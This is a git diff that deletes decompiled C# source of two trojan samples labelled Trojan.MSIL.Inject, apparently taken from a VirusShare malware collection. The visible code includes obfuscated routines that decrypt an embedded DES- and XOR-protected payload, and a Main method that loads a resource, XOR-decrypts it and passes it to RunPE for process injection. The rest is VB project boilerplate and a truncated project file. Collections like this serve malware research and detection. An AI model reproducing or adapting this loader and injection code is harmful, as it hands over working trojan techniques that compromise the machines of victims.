- default: - goto label_5; - } - } -label_3:; - } - - internal void \uE002(int _param1, int _param2) - { - int num1 = 0; -label_7: - for (int index = _param2 - 1; index >= 0; --index) - { - num1 <<= 1; -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - num1 |= _param1 & 1; - num2 = 1; - continue; - case 1: - _param1 >>= 1; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_3; - } - } - } - this.\uE001(num1, _param2); - } - - internal void \uE003() - { - if (this.\uE001 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000.WriteByte((byte) this.\uE000); - num = 1; - continue; - case 1: - this.\uE000 = 0U; - num = 2; - continue; - case 2: - goto label_6; - default: - goto label_2; - } - } -label_6: - this.\uE001 = 0; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index fe8a0f75..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; - -internal sealed class \uE010 -{ - private const int \uE000 = 8; - private const int \uE001 = 20; - private const int \uE002 = 4; - private static byte[] \uE003 = new byte[4]; - private static byte[] \uE004; - - static \uE010() - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - \uE010.\uE004 = new byte[4]; - num = 4; - continue; - case 1: - \uE010.\uE003[1] = \uE010.\uE004[1] = (byte) 83; - num = 3; - continue; - case 2: - \uE010.\uE004[3] = (byte) 50; - num = 6; - continue; - case 3: - \uE010.\uE003[2] = \uE010.\uE004[2] = (byte) 65; - num = 5; - continue; - case 4: - \uE010.\uE003[0] = \uE010.\uE004[0] = (byte) 82; - num = 1; - continue; - case 5: - \uE010.\uE003[3] = (byte) 49; - num = 2; - continue; - case 6: - goto label_9; - default: - goto label_2; - } - } -label_9:; - } - - public static MemoryStream \uE000(Stream _param0) - { - BinaryReader binaryReader1 = new BinaryReader(_param0); - DESCryptoServiceProvider cryptoServiceProvider1 = new DESCryptoServiceProvider(); - bool flag1 = binaryReader1.ReadBoolean(); - int count1 = (int) binaryReader1.ReadUInt16(); - byte[] buffer1 = new byte[count1]; - binaryReader1.Read(buffer1, 0, count1); - if ((!flag1 ? 1 : 0) == 0) - { - byte[] buffer2 = new byte[8]; - binaryReader1.Read(buffer2, 0, 8); - for (int index = 0; index < count1; ++index) - buffer1[index] = (byte) ((uint) buffer1[index] ^ (uint) buffer2[index % 8]); - } - BinaryReader binaryReader2 = new BinaryReader((Stream) new MemoryStream(buffer1, false)); -label_6: - int num = 7; - int count2; - int count3; - bool flag2; - byte[] numArray; - byte[] buffer3; - bool flag3; - while (true) - { - switch (num) - { - case 0: - count2 = (int) binaryReader2.ReadByte(); - num = 3; - continue; - case 1: - count3 = (int) binaryReader2.ReadByte(); - num = 8; - continue; - case 2: - flag2 = binaryReader2.ReadBoolean(); - num = 0; - continue; - case 3: - numArray = new byte[count2]; - num = 4; - continue; - case 4: - if (flag2) - { - num = 10; - continue; - } - goto label_19; - case 5: - binaryReader2.Read(buffer3, 0, count3); - num = 6; - continue; - case 6: - cryptoServiceProvider1.IV = buffer3; - num = 2; - continue; - case 7: - binaryReader2.ReadString(); - num = 9; - continue; - case 8: - buffer3 = new byte[count3]; - num = 5; - continue; - case 9: - flag3 = binaryReader2.ReadBoolean(); - num = 1; - continue; - case 10: - goto label_18; - default: - goto label_6; - } - } -label_18: - binaryReader2.Read(numArray, 0, count2); -label_19: - RSACryptoServiceProvider cryptoServiceProvider2 = (RSACryptoServiceProvider) null; - int count4 = binaryReader2.ReadInt32(); - byte[] buffer4 = new byte[count4]; - binaryReader2.Read(buffer4, 0, count4); - if (!flag2) - { - byte[] publicKey = Assembly.GetExecutingAssembly().GetName().GetPublicKey(); - if (publicKey == null || publicKey.Length != 160) - throw new InvalidOperationException(); - Buffer.BlockCopy((Array) publicKey, 12, (Array) numArray, 0, count2); - numArray[5] |= (byte) 128; - cryptoServiceProvider2 = new RSACryptoServiceProvider(); - cryptoServiceProvider2.ImportParameters(\uE010.\uE003(publicKey)); - } - cryptoServiceProvider1.Key = numArray; - MemoryStream memoryStream = new MemoryStream(); - using (CryptoStream cryptoStream = new CryptoStream(binaryReader1.BaseStream, cryptoServiceProvider1.CreateDecryptor(), CryptoStreamMode.Read)) - { - if (flag3) - \uE00E.\uE000((Stream) cryptoStream, (Stream) memoryStream); - else - \uE010.\uE002((Stream) cryptoStream, (Stream) memoryStream); - } - if (cryptoServiceProvider2 != null) - { - memoryStream.Position = 0L; - if (!\uE010.\uE005(cryptoServiceProvider2, (Stream) memoryStream, buffer4)) - throw new InvalidOperationException(); - } - memoryStream.Position = 0L; - return memoryStream; - } - - private static byte[] \uE001(byte[] _param0, int _param1, int _param2) - { - if ((_param0 == null ? 1 : 0) == 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (_param0.Length < _param1 + _param2) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_6: - byte[] destinationArray = new byte[_param2]; - Array.Copy((Array) _param0, _param1, (Array) destinationArray, 0, _param2); - return destinationArray; - } -label_5: - return (byte[]) null; - } - - private static void \uE002(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - while (true) - { - int count = _param0.Read(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - private static RSAParameters \uE003(byte[] _param0) - { - bool flag = _param0.Length == 160; - if ((!flag ? 1 : 0) == 0 && !\uE010.\uE004(_param0, \uE010.\uE003, 20)) - return new RSAParameters(); - if (!flag && !\uE010.\uE004(_param0, \uE010.\uE004, 8)) - return new RSAParameters(); - RSAParameters rsaParameters = new RSAParameters(); - int num1 = (flag ? 20 : 8) + 8; - int num2 = 4; - rsaParameters.Exponent = \uE010.\uE001(_param0, num1, num2); - Array.Reverse((Array) rsaParameters.Exponent); - int num3 = num1 + num2; - int num4 = 128; - rsaParameters.Modulus = \uE010.\uE001(_param0, num3, num4); - Array.Reverse((Array) rsaParameters.Modulus); - if (flag) - return rsaParameters; - int num5 = num3 + num4; -label_8: - int num6 = 14; - while (true) - { - switch (num6) - { - case 0: - rsaParameters.P = \uE010.\uE001(_param0, num5, num4); - num6 = 12; - continue; - case 1: - rsaParameters.DQ = \uE010.\uE001(_param0, num5, num4); - num6 = 6; - continue; - case 2: - num5 += num4; - num6 = 15; - continue; - case 3: - rsaParameters.D = \uE010.\uE001(_param0, num5, num4); - num6 = 10; - continue; - case 4: - num5 += num4; - num6 = 7; - continue; - case 5: - rsaParameters.InverseQ = \uE010.\uE001(_param0, num5, num4); - num6 = 9; - continue; - case 6: - Array.Reverse((Array) rsaParameters.DQ); - num6 = 2; - continue; - case 7: - num4 = 64; - num6 = 1; - continue; - case 8: - num4 = 64; - num6 = 17; - continue; - case 9: - Array.Reverse((Array) rsaParameters.InverseQ); - num6 = 13; - continue; - case 10: - Array.Reverse((Array) rsaParameters.D); - num6 = 23; - continue; - case 11: - Array.Reverse((Array) rsaParameters.DP); - num6 = 4; - continue; - case 12: - Array.Reverse((Array) rsaParameters.P); - num6 = 16; - continue; - case 13: - num5 += num4; - num6 = 19; - continue; - case 14: - num4 = 64; - num6 = 0; - continue; - case 15: - num4 = 64; - num6 = 5; - continue; - case 16: - num5 += num4; - num6 = 21; - continue; - case 17: - rsaParameters.DP = \uE010.\uE001(_param0, num5, num4); - num6 = 11; - continue; - case 18: - rsaParameters.Q = \uE010.\uE001(_param0, num5, num4); - num6 = 20; - continue; - case 19: - num4 = 128; - num6 = 3; - continue; - case 20: - Array.Reverse((Array) rsaParameters.Q); - num6 = 22; - continue; - case 21: - num4 = 64; - num6 = 18; - continue; - case 22: - num5 += num4; - num6 = 8; - continue; - case 23: - goto label_32; - default: - goto label_8; - } - } -label_32: - return rsaParameters; - } - - private static bool \uE004(byte[] _param0, byte[] _param1, int _param2) - { - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_7; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - return false; - } -label_2: - num = 0; - goto label_1; -label_3: - if ((int) _param0[index + _param2] != (int) _param1[index]) - { - num = 1; - goto label_1; - } - else - ++index; -label_7: - if (index >= _param1.Length) - return true; - goto label_3; - } - - private static bool \uE005(RSACryptoServiceProvider _param0, Stream _param1, byte[] _param2) - { - SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider(); -label_2: - int num = 0; - byte[] hash; - string name; - while (true) - { - switch (num) - { - case 0: - hash = cryptoServiceProvider.ComputeHash(_param1); - num = 3; - continue; - case 1: - name += (string) (object) 'A'; - num = 4; - continue; - case 2: - name += (string) (object) 'H'; - num = 1; - continue; - case 3: - name = new string('S', 1); - num = 2; - continue; - case 4: - name += (string) (object) '1'; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8: - return _param0.VerifyHash(hash, CryptoConfig.MapNameToOID(name), _param2); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs deleted file mode 100644 index 1c1f94e9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyCompany("")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs deleted file mode 100644 index d2323a5a..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs deleted file mode 100644 index 435d9920..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "10.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs deleted file mode 100644 index 2f7ab9f7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs deleted file mode 100644 index 4e108bdc..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "10.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs deleted file mode 100644 index 335d7bb2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs deleted file mode 100644 index 08f8d8c6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [StandardModule] - [CompilerGenerated] - [HideModuleName] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs deleted file mode 100644 index a30c28df..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [CompilerGenerated] - [StandardModule] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index ca62b376..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU 